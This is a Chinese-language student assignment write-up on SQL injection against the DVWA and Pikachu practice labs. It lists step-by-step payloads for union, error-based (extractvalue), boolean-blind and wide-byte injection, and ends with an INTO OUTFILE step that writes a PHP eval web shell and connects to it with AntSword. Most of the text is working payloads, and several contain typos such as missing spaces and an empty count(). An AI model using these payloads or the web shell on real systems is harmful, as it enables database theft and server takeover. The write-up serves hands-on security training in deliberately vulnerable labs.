

1. 分别在前端和后端使用 Union 注入实现“dvwa 数据库 -user 表 - 字段 - first\_name 数据”的注入过程，写清楚注入步骤。 **前端**

1. 判断是整型还是字符型？ 数字型 (1 and 1=1)
2. 判断列数 (order by) 、 显示位 (1' union all select 1,2 # 或者1' order by 1...3, 3报错知道是两列)
3. 获取目标dvwa数据库名和版本信息 (1' union select database(),version()#)
4. 获取dvwa表名 (1' union select 1,group\_concat(table\_name) from information\_schema.tables where table\_schema = 'dvwa'#)
5. 获取user表的字段名 (1' UNION SELECT 1,group\_concat(column\_name) from information\_schema.columns where table\_schema='dvwa' and table\_name='users'#)
6. 获取first\_name 数据 (1' union select user,first\_name from users#)

## 后端

1. 判断是整型还是字符型？ 数字型 (select first\_name,last\_name from users where id = '1 and 1=1')
2. 判断列数 (order by) 、 显示位 (select first\_name,last\_name from users where id = '1' union all select 1,2 # ')
3. 获取目标dvwa数据库名和版本信息 (select first\_name,last\_name from users where id = '1' union select database(),version()#')
4. 获取dvwa表名 (select first\_name,last\_name from users where id = '1' union select 1,group\_concat(table\_name) from information\_schema.tables where table\_schema = 'dvwa'#')
5. 获取user表的字段名 (select first\_name,last\_name from users where id = '1' UNION SELECT 1,group\_concat(column\_name) from information\_schema.columns where table\_schema='dvwa' and table\_name='users'#')
6. 获取first\_name 数据 (select first\_name,last\_name from users where id = '1' union select user,first\_name from users#')

2. 分别在前端和后端使用报错注入实现“dvwa 数据库 -user 表 - 字段”的注入过程，写清楚注入步骤，并回答下列关于报错注入的问题：**前端**

1. 获取目标dvwa数据库名 (1' and extractvalue(1,concat(0x7e,database()));#)
2. 获取dvwa表数 (1' and extractvalue(1,concat(0x7e,(select count(table\_name) from information\_schema.tables where table\_schema=database())));#)
3. 获取dvwa表名user (1' and extractvalue(1,concat(0x7e,(select table\_name from information\_schema.tables where table\_schema=database() limit 1,1)));#)
4. 获取user表的字段名 (1' and extractvalue(1,concat(0x7e,(select column\_name from information\_schema.columns where table\_name='users' limit 0,1)));#) **后端**
5. 获取目标dvwa数据库名 (select first\_name,last\_name from users where user\_id = '1' and extractvalue(1,concat(0x7e,database()));#')
6. 获取dvwa表数 (select first\_name,last\_name from users where user\_id = '1' and extractvalue(1,concat(0x7e,(select count(table\_name) from information\_schema.tables where table\_schema=database())));#')
7. 获取dvwa表名user (select first\_name,last\_name from users where user\_id = '1' and extractvalue(1,concat(0x7e,(select table\_name from information\_schema.tables where table\_schema=database() limit 1,1)));#')
8. 获取user表的字段名 (select first\_name,last\_name from users where user\_id = '1' UNION SELECT 1,group\_concat(column\_name) from information\_schema.columns where table\_schema='dvwa' and table\_name='users'#')

- 在 extractvalue 函数中，为什么 '~' 写在参数 1 的位置不报错，而写在参数 2 的位置报错？
  - 写在参数1就是个字符串，符合语法
  - 写在参数2，XPATH语法报错，路径不能包含~符号

- 报错注入中，为什么要突破单引号的限制，如何突破？
    - 会有过滤或者防护手段
    - 十六进制镜像替换
  - 在报错注入过程中，为什么要进行报错，是哪种类别的报错？
    - 报错才能收集到信息
    - 对应函数语法规则的报错，而不是mysql本身的语法错误
4. 任选布尔盲注或者时间盲注在前端和后端实现“库名 - 表名 - 列名”的注入过程，写清楚注入步骤。 **前端** 判断是否存在注入，注入的类型
- (1' and 1=1) 判断当前数据库名称的长度4 (1' and length(database())=4;#) 判断数据库名称的字符组成元素dvwa (1' and ascii(substr(database(),1,1))=100;#; 1' and ascii(substr(database(),2,1))=118;#;1' and ascii(substr(database(),3,1))=119;#;1' and ascii(substr(database(),4,1))=97;#) 判断数据库的表的个数2 (1' and (select count(table\_name) from information\_schema.tables wheretable\_schema=database())=2;#) 判断dvwa数据库中第一张表的名称字符长度9 (1' and length((select table\_name from information\_schema.tables where table\_schema=database() limit 0,1))=9;#) 判断dvwa数据库中第一张表的名称组成元素guestbook (1' and ascii(substr((select table\_name from information\_schema.tables where table\_schema=database() limit 0,1),1,1))=103;#) 判断dvwa数据库中第二张表的名称字符长度5 (1' and length((select table\_name from information\_schema.tables where table\_schema=database() limit 1,1))=5;#) 判断dvwa数据库中第一张表的名称组成元素users (1' and ascii(substr((select table\_name from information\_schema.tables wheretable\_schema=database() limit 0,1),1,1))=117;#) 判断users表中的字段个数8 (1' and (select count(column\_name) from information\_schema.columns wheretable\_schema=database() and table\_name='users')=8;#) 猜解users表中的各个字段的名称users、password (1' and (select count() from information\_schema.columns where table\_schema=database() and table\_name='users' and column\_name='user')=1;; 1' and (select count() from information\_schema.columns where table\_schema=database() and table\_name='users' and column\_name='password')=1;#) **后端** 判断是否存在注入，注入的类型 (select first\_name,last\_name from users

where user\_id =1 and 1=1) 判断当前数据库名称的长度4 (select first\_name,last\_name from users where user\_id =1 and length(database())=4;#) 判断数据库名称的字符组成元素dvwa (select first\_name,last\_name from users where user\_id =1 and ascii(substr(database(),1,1))=100;; select first\_name,last\_name from users where user\_id =1 and ascii(substr(database(),2,1))=118;;select first\_name,last\_name from users where user\_id =1 and ascii(substr(database(),3,1))=119; ;select first\_name,last\_name from users where user\_id =1 and ascii(substr(database(),4,1))=97;) 判断数据库的表的个数2 (select first\_name,last\_name from users where user\_id =1 and (select count(table\_name) from information\_schema.tables wheretable\_schema=database())=2;) 判断dvwa数据库中第一张表的名称字符长度9 (select first\_name,last\_name from users where user\_id =1 and length((select table\_name from information\_schema.tables where table\_schema=database() limit 0,1))=9;) 判断dvwa数据库中第一张表的名称组成元素guestbook (select first\_name,last\_name from users where user\_id =1 and ascii(substr((select table\_name from information\_schema.tables where table\_schema=database() limit 0,1),1,1))=103;) 判断dvwa数据库中第二张表的名称字符长度5 (select first\_name,last\_name from users where user\_id =1 and length((select table\_name from information\_schema.tables where table\_schema=database() limit 1,1))=5;) 判断dvwa数据库中第一张表的名称组成元素users (select first\_name,last\_name from users where user\_id =1 and ascii(substr((select table\_name from information\_schema.tables wheretable\_schema=database() limit 0,1),1,1))=117;) 判断users表中的字段个数8 (select first\_name,last\_name from users where user\_id =1 and (select count(column\_name) from information\_schema.columns wheretable\_schema=database() and table\_name='users')=8;) 猜解users表中的各个字段的名称users、password (select first\_name,last\_name from users where user\_id =1 and (select count() from information\_schema.columns where table\_schema=database() and table\_name='users' and column\_name='user')=1;; select first\_name,last\_name from users where user\_id =1 and (select count() from information\_schema.columns where table\_schema=database() and table\_name='users' and column\_name='password')=1;)

5. 利用宽字节注入实现“库名 - 表名 - 列名”的注入过程，写清楚注入步骤。

1. 首先判断为字符型注入
2. 构造宽字节注入 (kobe%df' or 1=1#) burp删掉25即可逃逸成功
3. 获取数据库名称pikachu (kobe%df' union select database(),version()#)
4. 获取表名httpinfo、member、message、users、xssblind  
(kobe%df' union select 1,group\_concat(table\_name) from information\_schema.columns where table\_schema=database() #)
5. 获取列名id、username、pw、sex、phonenum、address、email  
(kobe%df' union select 1,group\_concat(column\_name) from information\_schema.columns wheretable\_schema='pikachu' and table\_name='member'#)
6. 利用 SQL 注入实现 DVWA 站点的 Getshell，写清楚攻击步骤。
  1. 写入1' union select 1,"<?php eval(\$\_POST['a']);" intooutfile'/var/www/html/shell2.php
  2. 进入http://主机名:8081/shell2.php
  3. 打开HackBar或者蚁剑（密码：a）

